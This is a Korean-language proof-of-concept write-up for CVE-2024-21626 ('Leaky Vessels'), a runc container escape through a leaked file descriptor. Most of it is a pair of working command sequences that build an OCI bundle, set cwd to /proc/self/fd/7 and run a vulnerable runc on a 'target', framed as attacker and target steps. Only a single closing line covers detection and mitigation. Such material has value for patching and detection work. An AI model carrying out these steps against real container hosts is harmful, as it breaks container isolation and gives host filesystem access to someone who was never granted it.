
CVE-2024-21626용 PoC: runc는 pivot_root 이전에 호스트 CWD를 참조하는 내부 fd를 누출하여, process.cwd를 /proc/self/fd/7로 설정함으로써 컨테이너 탈출을 가능하게 합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE | CVE-2024-21626 |
| 영향받는 구성 요소 | runc ≤ 1.1.11 |
| 취약점 클래스 | 파일 디스크립터 누출을 통한 컨테이너 탈출 |
| 별칭 | Leaky Vessels |
runc는 컨테이너 프로세스를 실행하기 전에 호스트 파일시스템의 작업 디렉터리를 가리키는 내부 파일 디스크립터(일반적으로 fd/7)를 누출합니다. config.json에서 컨테이너의 cwd를 /proc/self/fd/7로 설정하면 프로세스가 컨테이너 rootfs가 아닌 호스트 디렉터리에 위치하게 되어 컨테이너 탈출이 달성됩니다.
호스트에서 바이너리를 직접 복사하여 최소한의 rootfs를 만듭니다:
# 1. 디렉터리 구조 생성
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. 바이너리 및 필요한 라이브러리 복사
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. 기본 OCI 구성 생성
runc spec
# 4. config.json의 cwd를 누출된 호스트 fd를 가리키도록 수정
# 변경: "cwd": "/"
# 로: "cwd": "/proc/self/fd/7"
vi config.json
# 5. 취약한 runc 바이너리로 컨테이너 실행
sudo /opt/debug --log /tmp/log.json run strikontainer
동작 방식: runc는 컨테이너 rootfs로 피벗하기 전에 호스트 CWD를 참조하는 fd/7을 엽니다. cwd를 /proc/self/fd/7로 설정하면 runc가 컨테이너가 아닌 호스트 경로로 chdir()하게 되어 실제 파일시스템에 위치하게 됩니다.
더 완전한 환경이 필요하거나 호스트에 바이너리가 제한적인 경우:
# --- 공격 머신에서 ---
# 최소 Alpine 파일시스템 내보내기
docker export $(docker create alpine:latest) > alpine.tar
# alpine.tar를 대상으로 전송한 후:
# --- 대상에서 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# OCI 번들 구성 생성
runc spec
# cwd 수정 (방법 1과 동일)
vi config.json
# "cwd": "/proc/self/fd/7"
# 실행
sudo /opt/debug --log /tmp/log.json run strikontainer
cwd 구성 내에서 /proc/self/fd/에 대한 openat() 호출을 모니터링; cwd에 /proc/self/fd가 포함된 OCI 번들에 대해 경고/proc 접근을 제한하는 seccomp 프로필 사용; 더 강력한 격리를 위해 rootless 컨테이너 또는 gVisor/Kata 고려